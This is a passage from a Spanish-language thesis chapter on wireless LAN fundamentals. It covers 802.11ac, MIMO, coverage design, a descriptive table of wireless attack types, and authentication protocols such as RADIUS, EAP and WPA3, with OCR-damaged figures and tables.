Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 260), por Coleman

y Westcott, 2021, SYBEX.
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2.3.6. Conjunto de Servicios Extendidos (ESS)

Son dos 0 méas conjuntos de servicios basicos configurados de manera idéntica
conectado por un medio del sistema de distribucidn, siendo el ESS una coleccién de mdltiples
AP’s con sus respectivas estaciones clientes asociadas. En la Figura 11 se tiene un ejemplo
comun de celdas de coberturas superpuestas con el proposito de brindar el servicio de
roaming continuo a las estaciones conectadas y de esta manera no perder el servicio

(Coleman & Westcott, 2021).

Figura 11

ESS con roaming continuo

802.3 Ethernet Backbone

4 ’ ’
------ > L ey
=7 =/} Ty
Roaming client station
BSA #1 BSA #£2

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 261), por Coleman

y Westcott, 2021, SYBEX.

Si bien el roaming continuo es un aspecto clave en el disefio de una WLAN, no existe
la necesidad de que esto ocurra siempre, como por ejemplo en la Figura 12 que se tiene
multiples AP’s en los que sus celdas de cobertura no se superponen, por lo que al salir de la
zona de cobertura del primer AP perdera conectividad, pero al momento de entrar al area de
cobertura del segundo AP la conectividad se restablecera, este método es conocido como

roaming ndmada (Coleman & Westcott, 2021).
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Figura 12

ESS con roaming ndmada

SR
= g T

t"""lﬂl i "'l“l
"iap 2

Roaming client station

BSA #1 BSA #2

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 262), por Coleman

y Westcott, 2021, SYBEX.

2.4,  802.11AC (Wi-Fi 5)

A finales del afio 2012 se lanza un nuevo estandar conocido como IEEE Std. 802.11ac
que viene siendo una mejora del estandar 802.11n. Se define mejores de muy alto
rendimiento (VHT) trabajando por debajo de los 6 GHz. Este estandar utiliza la banda de
frecuencias de 5 GHz el que ofrece mas canales y es menos utilizado tal como 802.11a/n.
Como principales ventajas tenemos su alta velocidad de transmision de datos alcanzando los
1.3 Gbps debido al movimiento de informacidn via tres flujos con 433 Mbps cada via. Otra
de las mejoras es que puede alcanzar un rango maximo de 90 a 100 metros. También se llega
a utilizar el beamforming que es la tecnologia que permite a los equipos de red redirigir las
ondas de radio de una manera mas precisa. El estandar 802.11ac utiliza anchos de canal de
20, 40, 80 hasta 160 MHz cuatro veces mayor que 802.11n y una modulacion de 256-QAM
que aumenta un 30% en la velocidad con respecto a sus antecesores. El rendimiento muy alto
ofrece el uso de la tecnologia MU-MIMO correspondiente a multiusuarios por lo que un
punto de acceso puede transmitir la sefial a maltiples usuarios por medio un solo canal

simultaneamente (Coleman & Westcott, 2021).
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2.4.1. Multiplexacion por Division de Frecuencias Ortogonales (OFDM)

OFDM es una de las técnicas de las comunicaciones mas utilizado y popular, es
utilizado tanto en comunicaciones cableadas como inalambricas, es un esquema de
modulacion que usa varias portadoras de diferentes frecuencias para transmitir flujos de datos
a grandes velocidades sobre selectivos canales de frecuencia, OFDM tiene propiedades de
baja potencia de transmision y utilizar mas ancho de banda que necesita para la transmision
de datos. En la Figura 13 se puede evidenciar que las subportadoras nunca llegan a

sobreponerse debido a que sus puntos maximos coinciden con los puntos minimos de otra

subportadora (Moreno, 2018).

Figura 13

Representacion de subportadoras ortogonales
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Nota. Tomado de Simulacion de un sistema OFDM con diversidad de antena en la recepcion

usando Matlab (p. 31), por Moreno, 2018, Escuela Politécnica Nacional.

2.4.2. Multiple Input Multiple Output (MIMO)

MIMO (Multiple Entrada Multiple Salida) es la manera en la que las ondas de
transmision y recepcion de las antenas es manejada. En el envio de informacion inalambrica
tradicional la sefial es afectada por reflexiones ocasionando degradacion o corrupcion de esta
lo que se traduce a una pérdida de datos, MIMO suele aprovechar los fendmenos fisicos tal

como la propagacion por multitrayectoria de esta se incrementa la tasa de transmisién y asi
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reducir la tasa de errores. La tecnologia MIMO divide los datos que se van a transmitir en
fragmentos mas pequefios para que de esta manera sean enviados de manera simultanea
mediante el uso de multiples antenas ilustrado en la Figura 14, después en el destino el
paquete es recompuesto en su forma inicial lo que optimiza la transferencia. Esto aumenta la
eficiencia espectral de la comunicacion inalambrica, ademas el uso de varias antenas aumenta

la velocidad, mejora el alcance y la confiabilidad (Coleman & Westcott, 2021).

El estandar 802.11ac se permite hasta 8 flujos espaciales MIMO lo que se traduce a
una mejora en el doble a su antecesor, ademéas implementa un conjunto de la tecnologia
MIMO avanzada que es el modo MU-MIMO (Multi Usuario MIMO), en el que las antenas
disponibles son repartidas entre una multitud de puntos de acceso independientes y terminales
de radio independientes. MU-MIMO aplica SDMA (Acceso Multiple por Division Espacial)
en una version extendida para permitir que multiples transmisores envien sefiales separadas y
multiples receptores reciban sefiales separadas simultdneamente en la misma banda (CISCO,

2018a).

Figura 14

MU-MIMO usando una combinacidén de formacion de haces y direccion nula para multiples

(\/ User 1
T 55
w

Nota. Tomado de 802.11ac: The Fifth Generation of Wi-Fi (p. 18), por CISCO, 2018.

clientes en paralelo
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2.4.3. Beamforming

Por lo general las antenas de las estaciones base emiten la sefial Wi-Fi constante, pero
en todas las direcciones, pero las antenas con tecnologia beamforming son mas inteligentes
que permiten saber en qué lugar de la red se encuentra el dispositivo con 802.11 ac, luego el
router redirige la sefial hacia ese dispositivo para que la sefial que reciba sea mas fuerte, clara

y répida tal como lo ilustra la Figura 15 (Toquero, 2017).

Figura 15

Tecnologia Beamforming

2

Nota. Tomado de Simulacion de WLAN basada en el estandar IEEE 802.11ac (p. 38), por

Toquero J., 2017, Universidad Carlos 111 de Madrid.

2.5.  Conceptos de Disefio WLAN

El disefio de una red inalambrica abarca desde una simulacion inicial de cobertura,
recogida de datos, planificacion hasta la implementacion. Para poder disefiar una Red
inalambrica funcional debemos hacer una evaluacion de necesidades como la densidad de
usuarios, ancho de banda esperado o que tipo de red sera si Indoor (Interior) u Outdoor

(Exterior).

2.5.1. Disefno de Cobertura WLAN
Para disefiar una WLAN se debe tener en cuenta varios factores esenciales, a lo

contrario de lo que muchos piensan lo primordial no es la zona de cobertura para que los
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clientes puedan comunicarse, lo ideal es proporcionar una conectividad de datos de alta
velocidad para los clientes, asi como un roaming sin inconvenientes, Wi-Fi lo que busca es
tanto cobertura como capacidad. Si bien mientras mas fuerte es la sefial de radio frecuencia
de un AP mayor cobertura se tendra para los usuarios inalambricos, por lo que se usa AP’s
para delimitar areas geograficas mas pequefias o microceldas para permitir mayor cobertura
gue una celda grande, a esto también hay que tomar en cuenta la asignacion de los canales de
frecuencia con los que se va a trabajar para evitar cualquier tipo de interferencia entre ellos

(Coleman & Westcott, 2021).

2.5.1.1. Sefal Recibida

Tal como lo ilustra la Tabla 1 dependiendo de la proximidad entre un AP y un cliente
inalambrico, una radio 802.11 puede recibir una sefial entrante entre los -30dBm y el ruido de
fondo. Al momento de disefiar para la cobertura lo normal es tener una sefial recibida de -
70dBm o mas fuerte es considerado una sefial recibida de calidad (Coleman & Westcott,

2021).

Tabla 1

Potencia de sefial recibida

Calidad dBm mwW

Muy fuerte -30 1/1000 de 1 milivatio

Muy fuerte -40 1/10000 de 1 milivatio

Muy fuerte -50 1/100000 de 1 milivatio

Muy fuerte -60 1/1000000 de 1 milivatio
Fuerte -70 1/10000000 de 1 milivatio
Justo -80 1/100000000 de 1 milivatio
Débil -90 1/1000000000 de 1 milivatio

Muy débil -95 Ruido de fondo

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 203), por Coleman

y Westcott, 2021, SYBEX.
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Claro esta que no todos los dispositivos trabajan de la misma manera por lo que
tendran diferentes umbrales de sensibilidad de recepcion por lo que se asignaran diferentes
velocidades de datos, es decir si dos radios clientes reciben la misma intensidad de
Radiofrecuencia (RF) pueden usar diferentes velocidades para modulacion y demodulacion.
A pesar de estas variaciones entre los equipos existe un comun denominador, una sefial de -
70dBm o superior garantiza que la radio cliente utilizara la velocidad de datos mas alta que el

cliente sea capaz de usar (Coleman & Westcott, 2021).

2.5.1.2. Relacion Sefial/Ruido (SNR)

La SNR no es en realidad una relacién, sino que es la diferencia existente en decibeles
entre la sefial recibida y el ruido de fondo medido en dBs en un punto determinado en el
medio de transmisién, tal como lo ilustra la Figura 16. Si una radio 802.11 recibe una sefial
de -70 dBm y el ruido es de -95 dBm, la diferencia entre la sefial recibida y el ruido de fondo

es de 25 dB, es decir la SNR es igual a 25 dB (Coleman & Westcott, 2021).

Figura 16

Relacion sefial/ruido

Wi-Fi Signal

NOISE FLOOR

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 130), por Coleman

y Westcott, 2021, SYBEX.

Con una SNR muy baja los datos pueden corromperse, si la amplitud del ruido es
demasiado cercana a la amplitud de la sefial recibida se van a producir dafios en los datos.
Una sefial de 25 dB o superior es considerada una sefial de buena calidad, por lo contrario,

una sefial de 10 dB o inferior es considerado mala calidad de sefial y se tendra
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retransmisiones de hasta el 50%. Como se muestra en la Figura 17 para garantizar que las
tramas no se dafien debido a un SNR baja, la mayoria de los proveedores recomiendan una

SNR minima de 20 dB (Coleman & Westcott, 2021).

Figura 17

Recomendaciones SNR

o) e
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K rage SHR )
Recommendations:

26 0B (85%) * 20 dB or greater

» 25 dB or greater for voice-grade Wi-Fi
‘3""1_! w a4 = + 29 dB or greater to use 256 QAM
® Poor D{0%] © Good: 1 (10%) & Excallent: 9 (905} + 35 dB or greater to use 1024 QAM

L J

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 502), por Coleman

y Westcott, 2021, SYBEX.

2.5.1.3. Potencia de Transmision

Un factor determinante al momento de disefiar una WLAN es la potencia de
transmision de los AP’s, aunque la mayoria de los puntos de acceso para interiores pueden ser
configurados con potencias de hasta 100mW lo cierto es que no se debe configurar al
méaximo de potencia, debido a que dard como resultado una gran cobertura, pero no cumplira
con necesidades de capacidad, también aumentara la interferencia cocanal aumentando una
sobrecarga innecesaria incluso afectando negativamente en el roaming (Coleman & Westcott,

2021).

Por todas estas razones lo recomendable es utilizar al AP en un cuarto o en un tercio
de la potencia maxima de transmision. En algunos casos es necesario tener el nivel de
potencia al nivel mas bajo de ImW debido a entornos de alta densidad. Otro factor para
tomar en cuenta es el nivel de potencia del cliente, o el vinculo entre el AP y el cliente debe

tener la misma potencia, por lo general la mayoria de los clientes como teléfonos inteligentes
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o tabletas transmiten a potencias de 15mW o 20mW, esto debido a que los clientes son
moviles la interferencia cocanal es causada por la falta de coincidencia de potencia (Coleman

& Westcott, 2021).

2.6.  Ataques Inalambricos, Monitoreo y Politica de Intrusiones

Existe una gran variedad de posibles ataques en contra de las redes inalambricas
802.11, teniendo la posibilidad de que en algunos casos se puede solucionar mediante
métodos de encriptacion y autenticacion, pero en otros casos solo se puede detectar el ataque,

pero no prevenirlos (Coleman & Westcott, 2021).

2.6.1. Ataques Inaldmbricos

La funcion principal de una WLAN es proporcionar un portal a una infraestructura de
red cableada, este portal es el que debe ser protegido mediante métodos de autenticacién para
que se solo los usuarios autorizados y legitimos puedan tener acceso a los recursos de la red.
En caso de que este portal no se encuentre debidamente protegido, los riesgos que puede
generar esto son infinitos dado que cualquier intruso podria obtener datos personales, datos
financieros, secretos corporativos, etc. De igual manera si el portal no se encuentra
debidamente asegurado los intrusos pueden causar dafios al cargar datos como virus, caballos
de troya, registradores de pulsaciones de teclas, incluso spam todo esto a través de una puerta
de enlace no segura (Dalal et al., 2021). Cualquier tipo de datos que son enviados por el
medio fisico aire puede ser capturada y de esta manera ser comprometidos, si no se protege
de una manera debida es posible acceder a la gestion de los equipos Wi-Fi, con las debidas

herramientas es posible negar el servicio a usuarios legitimos a los recursos de la red.

Tal como se observa en la Tabla 2 se puede diferenciar los tipos de ataques a redes
inalambricas existentes que se encuentran hoy en dia cada uno con una definicién de como

son los ataques (Intedya, 2022).



Tabla 2

Tipos de ataques a redes inalambricas
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Ataques a redes inalambricas

Definicion

Se basa en ataques con tarjetas Wi-Fi
modificadas por software o hardware para la
obtencion de datos.

Se trata de una técnica utilizada para escuchar
todo lo que ocurre dentro de una red.

Se basa en instalar AP’s en la cercania de una
red permitiendo el acceso a redes privadas a

personal no autorizado.

Se basa en un atacante cuando se sitla entre el
servidor y el usuario para interceptar

informacion.

Se basa en enviar mensajes suplantando una

identidad legitima.

Tipos de o
Técnicas Empleadas
ataque
Snooping
Sniffing
AP’s Maliciosos
Man-in-the-Middle
Ataques sin
conocimiento o
Pishing
de claves
Evil Twin

Se basa en suplantar redes inaldmbricas y

monitorear la actividad.

Masquerading y MAC
Spoofing

Consiste en emplear técnicas de hacking de

forma maliciosa para suplantar la identidad.

Negacion de Servicio
(DoS) y DDoS

Consiste en atacar un servidor web al mismo
tiempo desde muchos equipos para provocar

denegacién de servicio.

Inyeccion de Trafico

Se realiza en contra de AP’s expuestos a
trafico de red no filtrado realizando

denegacién de servicio.
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Se basa en adivinar la contrasefia mediante
Ataque de Fuerza Bruta
ensayo y error.

] o _ Se utiliza un software para averiguar la
Ataques hacia  Ataque de Diccionario 5 -
contrasefia de manera automatica.
las claves

Se basa en ataques que intentan romper el
Ataques Algoritmicos algoritmo en el proceso de encriptacion que

puedan exponer el valor de la clave.

Nota. Tomado de Guia de Ciberseguridad (p. 4-26), por Intedya, 2022.

2.6.2. Monitoreo de Intrusiones

Cada vez es mas necesario realizar el monitoreo de nuestras redes de una manera
constante por los diferentes tipos de ataques que pueden causar diferentes problemas.
Empresas que tienen desplegados redes inaldmbricas para su movilidad y acceso, por lo que
muchas de estas redes ejecutan un sistema de deteccion de intrusos inalambricos (WIDS)
para poder monitorear los posibles ataques. Estos sistemas han ido evolucionando para
prevenir y mitigar varios de los ataques inalambricos mas conocidos, por lo que la mayoria de
los proveedores de WLAN llaman a estas soluciones sistemas de prevencién de intrusiones
inalambricas (WIPS). Estos monitoreos y prevencion de ataques reducen el tiempo y gastos
necesarios para mantener a la red inalambrica saludable y segura (Coleman & Westcott,

2021).

2.6.3. Politicas de Seguridad Inalambrica

La politica de seguridad es un conjunto de normas aplicables a todas las actividades
del sistema y recursos pertenecientes a una organizacion esto incluido la seguridad de la red
(IBM, 2021). El asegurar una red inalambrica, asi como monitorear las amenazas son
necesidades absolutas y prioritarias, pero esto seria inutil sin la implementacion de las

politicas de seguridad adecuadas.



33

Hoy en dia son mas las empresas que modifican sus politicas de uso de la red para
incluir una seccion de politica inalambrica (Coleman & Westcott, 2021), esto para definir lo
que se desea proteger y lo que se espera de los usuarios como sus responsabilidades de
proteger la informacidn confidencial, asi como la efectividad de las medidas de seguridad que
se tiene en la red inalambrica para determinar si existe algun tipo de atacante que intenta

burlar las defensas de la red (IBM, 2021).

2.7.  Conceptos Basicos de Seguridad 802.11
Para poder proteger una red inalambrica 802.11 es requerido los siguientes cinco

componentes principales:

= Privacidad e integridad de datos

= Autenticacion, Autorizacion y Contabilidad (AAA)
= Segmentacion

= Supervision

=  Politica

Debido a que los datos son transmitidos en el aire, es necesario una proteccion
adecuada para garantizar la privacidad de datos, siendo necesario un cifrado fuerte. La
seguridad de las WLAN tiene mala reputacion debido a los mecanismos débiles de seguridad
implementados originalmente, sin embargo, la enmienda 802.11i defini6 una red de seguridad
robusta (RSN). Hablando de seguridad en 802.11 las certificaciones de seguridad WPA2 o
WPAS3 de Wi-Fi Alliance deben considerarse la autoridad final. Si al momento de aplicar
soluciones de encriptacion y autenticacion robustas una red inalambrica puede ser igual de

segura o incluso mayor que los segmentos cableados (Coleman & Westcott, 2021).
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2.7.1. Privacidad de Datos e Integridad

Las redes inalambricas operan en bandas de frecuencia sin licencia por el medio fisico
aire, entonces proteger la privacidad en redes cableadas es més sencillo porque el acceso al
medio se encuentra mas restringido, mientras que para las transmisiones inalambricas el
acceso esta disponible para toda aquella persona que se encuentra dentro del rango de
escucha del dispositivo, por lo que el uso de tecnologias de cifrado es necesario para poder
garantizar una privacidad de datos adecuada. El objetivo de la criptografia es tomar
fragmentos de informacion y mediante algin proceso o algoritmo, transformar un texto sin
formato a un texto cifrado o también conocido como cifrado mientras que el proceso inverso
es el descifrado. Los dos cifrados mas comunes para la proteccion de datos son el algoritmo

ARC4%y el AES’ (Coleman & Westcott, 2021).

2.7.2. Autenticacidn, Autorizacion y Contabilidad (AAA)
La AAA es un concepto conocido como un pilar fundamental en la seguridad

informatica que define la proteccion de los recursos de la red (Coleman & Westcott, 2021).

Autenticacion: es la seguridad de que el recurso situado al otro extremo de la sesién
es realmente quien dice ser mediante la identidad, esto se verifica con las credenciales tales
como nombre de usuario, contrasefias o certificados digitales. Sistemas actuales utilizan

autenticacion multifactor que requiere de por lo menos dos diferentes tipos de credenciales.

Autorizacion: determina si el dispositivo del usuario se encuentra autorizado para
tener acceso a los recursos de la red, incluye la identificacion del dispositivo en uso ya sea
una laptop, smartphone o Tablet, normalmente la autorizacién se realiza en el contexto de la

autenticacion.

& Alleged-Rivest Cipher 4 es un algoritmo de encriptacion simétrico rapido y facil de implementar.
7 Estandar de Cifrado Avanzado es un esquema de cifrado por bloques.
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Contabilidad: se realiza un seguimiento del uso de los recursos de la red por parte de
los usuarios y los dispositivos, con esto se realiza un registro historico de cuando, dénde y

qué recurso fue utilizado.

2.7.3. Seguridad Robusta

En el estandar 802.11-2020 utiliza diferentes métodos de autenticacion uno para uso
empresarial y uno para uso doméstico, el uso de la autenticacion 802.1X/EAP es definida en
este actual estandar, asi como el uso de una clave precompartida o una contrasefia.
802.1X/EAP es un método de autenticacion fuerte implementado mayoritariamente en
empresas, mientras que para oficinas pequefias y oficinas del hogar se implementa la
autenticacion PSK® al ser menos compleja. Se debe tener métodos sélidos y dinamicos para la
generacion de claves de cifrado y asi aumentar la seguridad, por lo que CCMP®/AES es el
predeterminado para esto y TKIP®/ARC4 usado como método opcional (Coleman &

Westcott, 2021).

La Wi-Fi Alliance present6 la certificacion Wi-Fi Protected Access (WPA) como una
instantanea de 802.11i, donde solo la generacién de clave de cifrado dinamico TKIP/ARC4
es admitida. Una vez que la enmienda 802.11i fue ratificada, la Wi-Fi Alliance presentd la
certificacion WPA2 que es compatible con la generacién de claves de cifrado dindmicas
CCMP/AES y TKIP/RC4. Tal como se indica en la Tabla 3 se tiene una comparativa de los
diversos estandares de seguridad 802.11 y certificaciones de seguridad de Wi-Fi Alliance

(Coleman & Westcott, 2021).

8 Pre-Shared Key es una clave secreta compartida entre dos partes usando un canal seguro.
9 Cipher Block Chaining Message Authentication Code Protocol es un método de encriptacion usado en 802.11i.
10 Temporal Key Integrity Protocol es un método de seguridad usado para mejorar el cifrado en redes Wi-Fi.
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Tabla 3

Comparacion de los estandares de seguridad y certificaciones

Certificacion

_ Meétodo de Método de ) Generacion
IEEE de Alianza o _ y Cifrado
L Autenticacion  Encriptacion de Llave
Wi-Fi
) Sistema abierto o .
802.11 Ninguna ) WEP ARC4 Estatico
Llave compartida
WPA- Llave o
_ TKIP ARC4 Dinamico
Personal precompartida
WPA- -
_ 802.1X/EAP TKIP ARC4 Dinamico
Empresarial
CCMP AES o
) _ ) ) Dinémico
802,11 WPA2- Llave (obligatorio)  (obligatorio)
20'20 Personal precompartida TKIP ARC4
opcional opcional
(RSN) (op ) (op )
o CCMP AES o
Autenticacion ) ) ) ) Dinamico
WPA3- ) (obligatorio)  (obligatorio)
simultanea de
Personal _ TKIP ARC4
iguales (SAE) ) )
(opcional) (opcional)
WPA3- CCMP AES -
_ 802.1X/EAP ) _ ] ) Dindmico
Empresarial (obligatorio)  (obligatorio)

Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 737), por Coleman

y Westcott, 2021, SYBEX.

2.7.4. Métodos de Autenticacion en Redes Inaldambricas

2.7.4.1. 802.1X

Es un protocolo disefiado por la IEEE capaz de brindar seguridad en la capa de acceso
a la red, se encuentra basado en la autenticacion de puertos es decir bloquea todas las
conexiones de los dispositivos que no se encuentren autorizados dentro de la red, es utilizado

en algunos puntos inalambricos cerrados basado en EAP, de esta manera se corrige las
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posibles deficiencias de seguridad de WEP*!, La autenticacion es realizada por terceros tal
como un servidor RADIUS, esto permite una autenticacion mutua robusta utilizando

protocolos como EAP-TLS (Silvera, 2022).
e RADIUS (Remote Authentication Dial In User Service)

Tal como su nombre lo indica RADIUS es un protocolo de autenticacion y
autorizacion principalmente utilizado para aplicaciones de acceso a la red o movilidad IP, el
numero de puerto oficialmente asignado para RADIUS es el 1812 (Rigney, C., Willens, S.,
Rubens, A., & Simpson, 2023), basicamente al momento de realizar una conexion se debera
ingresar un nombre de usuario y una contrasefia, esta informacion sera enviada al servidor
RADIUS que analiza la informacidn se correcta y autoriza el acceso al sistema (Espinel,

2019).
Las caracteristicas claves de RADIUS son:
e Modelo Cliente/Servidor

En este modelo el cliente es responsable de enviar la informacién del usuario a los
servidores RADIUS, y luego actuar sobre la respuesta que se devuelve. Los servidores
RADIUS son los encargados de recibir las solicitudes de conexion por parte del usuario,
autenticando al usuario y luego devolviendo toda la informacion de configuracion necesaria

para que el cliente entregue servicio al usuario (Franco, 2022).
e Seguridad de la red

Las transacciones entre el servidor RADIUS y el cliente son autenticados mediante el

uso de una llave compartida, que nunca se ha enviado a través de la red. Ademas, las

1 Wired Equivalent Privacy es un protocolo que permite cifrar la informacion que se transmite incluido en el
estandar IEEE 802.11.
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contrasefias de los usuarios son enviadas de manera encriptada entre el cliente y el servidor
RADIUS, esto para eliminar la posibilidad de que alguien husmeando en una red no segura

pueda determinar la contrasefia de un usuario (Franco, 2022).

e Mecanismos de autenticacion flexibles

Para el caso de mecanismos de autenticacion para usuarios el servidor RADIUS puede
admitir una gran variedad de métodos como PPP, PAP o CHAP, UNIX inicio de sesiony
otros mecanismos de autenticacion, con solo proporcionar un nombre de usuario y contrasefia

original brindada por el usuario (Franco, 2022).

e Protocolo extensible

Todas las transacciones se componen de atributos, longitud y valor. Es posible
agregar nuevos valores de atributo sin alterar las implementaciones existentes del protocolo

(Franco, 2022).

RADIUS es un protocolo destacado debido a que ofrece seguridad, flexibilidad,
capacidad de expansién y una simplificada administracion. El procedimiento realizado por el
servidor RADIUS es tal como lo ilustra la Figura 18 en el que son incluidos diferentes
requerimientos de seguridad como la autenticacion entre cliente y servidor para proporcionar

acceso a los recursos de red (Franco, 2022).
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Figura 18

Protocolo RADIUS

Virgess Cortrolier
AD Lises Micrasah (RADIUS Clent)

Nota. Tomado de Andlisis De Factibilidad Del Uso De Autenticacién Radius En Redes
Wireless Mediante Validacion De Usuario (p. 22), por Franco Enrique, 2022, Universidad de

Guayaquil.

2.7.4.2. Autenticacion EAP

El Protocolo Extensible de Autenticacion es utilizado en redes inalambricas del tipo
punto a punto siendo éste el estdndar oficial dado a que fueron adoptados de sus mecanismos
de autenticacion como lo son: EAP-MD5, EAP-LEAP, EAP-FAST, EAP-TLS, PEAP. EAP
ofrece un mecanismo seguro para la autenticacion al momento de establecer comunicacion en
las redes inalambricas llegando al punto de poder establecer una contrasefia Unica usando el

cifrado TKIP o AES (Franco, 2022).

Tal como se ilustra en la Figura 19 para una autenticacién basada en EAP son
necesarias tres entidades el suplicante que es el solicitante al acceso, el autenticador que es el
dispositivo que provee acceso a la red y finalmente de un servidor de autenticacién (AS)
aquel que toma las credenciales del usuario o cliente y permite o deniega el acceso a la red
basado en una base de datos de usuarios y politicas, por lo general se utiliza un servidor

RADIUS) (Silvera, 2022).



40

Figura 19

Autenticacion basada en EAP

Suplicante Autenticador Senvidor de Autenticacian (AS)

Autenticacion Abierta B02.11

Autenticacidn Basada en EAP

Nota. Tomado de CCNA, por CCNA desde cero, 2022.

https://ccnadesdecero.com/curso/autenticacion-basada-en-eap/

e EAP-MD5
EAP-MD5 (Message Digest) es uno de los tipos de autenticacion EAP que
proporciona compatibilidad niveles basicos de EAP, esta autenticacion no es recomendable
para implementaciones WLAN debido a que puede permitir que se la contrasefia del usuario
sea obtenida, dado que se proporciona autenticacién unidireccional es decir no hay
autenticacion entre la red y el cliente inaldmbrico. Ademas, EAP-MDS5 no proporciona
medios para la obtencion de claves dinamicas de privacidad equivalente por cable (WEP) por

sesion (INTEL, 2021).

e EAP-LEAP
En el Protocolo de Autenticacion Extensible Ligero el cliente debe proporcionar
credenciales de nombre de usuario y contrasefia, tanto el servidor de autenticacion como el
cliente intercambian mensajes que luego se cifran y devuelven. Es un tipo de autenticacion
EAP que se utiliza principalmente en WLAN Cisco Aironet. Cifra las transmisiones de datos
utilizando claves WEP generadas dindmicamente y admite la autenticacién mutua. Hoy en
dia LEAP ha quedado obsoleto, aunque los clientes y controladores inalambricos todavia

ofrecen LEAP no se debe usarlo (INTEL, 2021).
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e EAP-FAST
En la Autenticacion Flexible mediante Tunelizacion Segura las credenciales de
autenticacion se protegen pasando una credencial de acceso protegido (PAC) entre el servidor
de autenticacion y el solicitante. EI PAC es una forma secretea de compartir generado por el

servidor de autenticacion y es utilizado para la autenticacion mutua (CISCO, 2017).

EAP-FAST es una secuencia de tres fases:

- Fase 0: EI PAC es generado o provisto e instalado en el cliente.
- Fase 1: Después el suplicante y el servidor de autenticacion tienen que autenticarse
entre ellos y se negocian un tunel TLS.

- Fase 2: El usuario final se autentica a través del tunel TLS para seguridad adicional.

e EAP-TLS
Este tipo de autenticacion es el mas usado debido a su compatibilidad con el protocolo

de transporte seguro, la comunicacién se la realiza mediante el uso de certificados emitidos
para lo cual es necesario utilizar el tipo de conexion cliente-servidor, posterior se construye
un tunel TLS para que el material de la clave de cifrado se intercambie de manera segura.
Una de las desventajas que se tiene en EAP-TLS son la administracion de certificados dado
que se requiere en el servidor de autenticacion y en cada dispositivo cliente tal como se
observa en la Figura 20, junto con el servidor de autenticacion cada cliente inaldmbrico debe
obtener e instalar un certificado, por lo que seria necesario implementar una infraestructura
de clave publica (PKI) para proporcionar certificados de manera segura y eficiente, de igual

manera revocar estos certificados cuando un cliente ya no deba tener acceso (Franco, 2022).
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Figura 20
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Nota. Tomado de Analisis De Factibilidad Del Uso De Autenticacion Radius En Redes
Wireless Mediante Validacion De Usuario (p.25), por Franco Enrique, 2022, Universidad de

Guayaquil.

e EAP-PEAP
El modo protegido EAP utiliza una autenticacion interna y externa, el servidor de
autenticacion presenta el certificado digital para autenticarse con el solicitante en la
autenticacion externa, una vez que el servidor de autenticacién se encuentre satisfecho con la
identidad del solicitante ambos construiran un tinel TLS que utilizara la autenticacion del

cliente interno o el intercambio de cifrado ilustrado en la Figura 21 (Franco, 2022).

Figura 21

EAP-PEAP-TLS

| trust ise corp.cam,
create TLS-tunnel 4
then send own certificate o IQ

=l el
D Encrypted TLS-tunnel » ! E E

User/Computer sends certificate to identify itself
User/Computer

ISE-PSN Nodes

Nota. Tomado de Tomado de Analisis De Factibilidad Del Uso De Autenticacién Radius En
Redes Wireless Mediante Validacion De Usuario (p.25), por Franco Enrique, 2022,

Universidad de Guayaquil.
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2.7.5. Protocolos de Seguridad Inalambrica

2.7.5.1. WPA (Wi-Fi Protected Access)

El estandar de Acceso Inalambrico Protegido fue desarrollado por la Wi-Fi Alliance,
se encuentra basado en un borrador del estandar IEEE 802.11i, utilizado para la mejora de
WEP en nivel de cifrado ademés de incorporar un método de autenticacion (Solérzano,
2019). WPA hace uso de TKIP un protocolo capaz de gestionar las claves dinamicas,
resolviendo de esta manera los problemas existentes en WEP. WPA adopta la autenticacion
mediante un servidor en que se almacenan las credenciales de los usuarios de la red, pero
para evitar el uso de un servidor en la implementacion de las redes inalambricas se permite la
autenticacion mediante una clave precompartida en la cual se requiere introducir la misma

contrasefia en todos los equipos de la red (Lamifio, 2021).

e WPA-PSK consiste en un sistema de claves compartidas, la clave esta formada entre 8
y 63 caracteres, siendo un entorno facil de utilizar recomendado para ambientes
familiares o empresas pequefias, pudiendo conectarse si se tiene la contrasefia de red.

e WPA-Empresarial este es un sistema mas complejo haciendo uso empresas grandes
con redes inalambricas, funciona mediante el uso de un usuario y contrasefia 0

sistemas de certificados, utilizado con servidores de gran potencia para la gestion.

2.7.5.2. WPAZ2

La enmienda IEEE 802.11i defini6 WPA2 basada en capacidades de seguridad
robusta (RSN), todos los dispositivos con certificacion Wi-Fi WPA2 deben ser compatibles
con la encriptacion dinamica CCMP/AES, ademas de que es compatible con versiones
anteriores para TKIP y WEP, sin embargo, estos métodos se encuentran desactualizados y
por lo tanto no deben usarse. WPA2 soluciona los problemas de vulnerabilidades de su

antecesor agregando mayor seguridad (Coleman & Westcott, 2021).
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La Wi-Fi Alliance especifica dos métodos para la autorizacion de usuarios y

dispositivos para las WLAN:

e WPA2-Empresarial requiere compatibilidad con la seguridad de control de acceso
basada en puertos 802.1X.
e WPAZ2-Personal que utiliza el método de contrasefia menos complejo para el uso

domeéstico y esté basado en la autenticacién PSK.

2.7.5.3. WPA3

El Wi-Fi Protected Access 3 define mejoras a las capacidades en seguridad de WPA2
para las radios 802.11, ademas admite nuevos métodos de seguridad, no permite protocolos
obsoletos y requiere el uso de proteccion de tramas de administracion (MFP) utilizado para el
mantenimiento de la capacidad de recuperacion de redes de mision critica (Wi-Fi Alliance,
2020). WPA3-Personal aprovecha la autenticacion simultanea de iguales (SAE) que
reemplaza el método de autenticacion de clave precompartida (PSK) esto para proteger a los
usuarios contra ataques maliciosos para adivinar las contrasefias. WPA3-Empresarial ofrece

una fuerza criptografica de 192 bits (Fernandez, 2018).

= WPA3-Personal

El cambio maés significativo realizado por WPA3 con respecto a su antecesor es el
cambio de la autenticacion PSK por la autenticacion SAE, siendo resistente a los ataques de
diccionario fuera de linea, mejora la seguridad de los usuarios inalambricos domésticos y
entornos donde 802.1X no es una opcion. A nivel de usuario no tiene ningin cambio
significativo, es mas es imperceptible a su ojo (Coleman & Westcott, 2021). Se sigue
utilizando una contrasefia para la conexion con la diferencia que el protocolo SAE protege
esta frase de contrasefia de una manera mas robusta contra los ataques de diccionario de

fuerza bruta. WPAZ3-Personal tiene dos modos de funcionamiento:
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» WHPAS3-Solo Personal

En este modo se tiene la autenticacion SAE en lugar de la autenticacion PSK, ademas
este modo esté habilitado cuando el Access Point y los dispositivos de los clientes sean
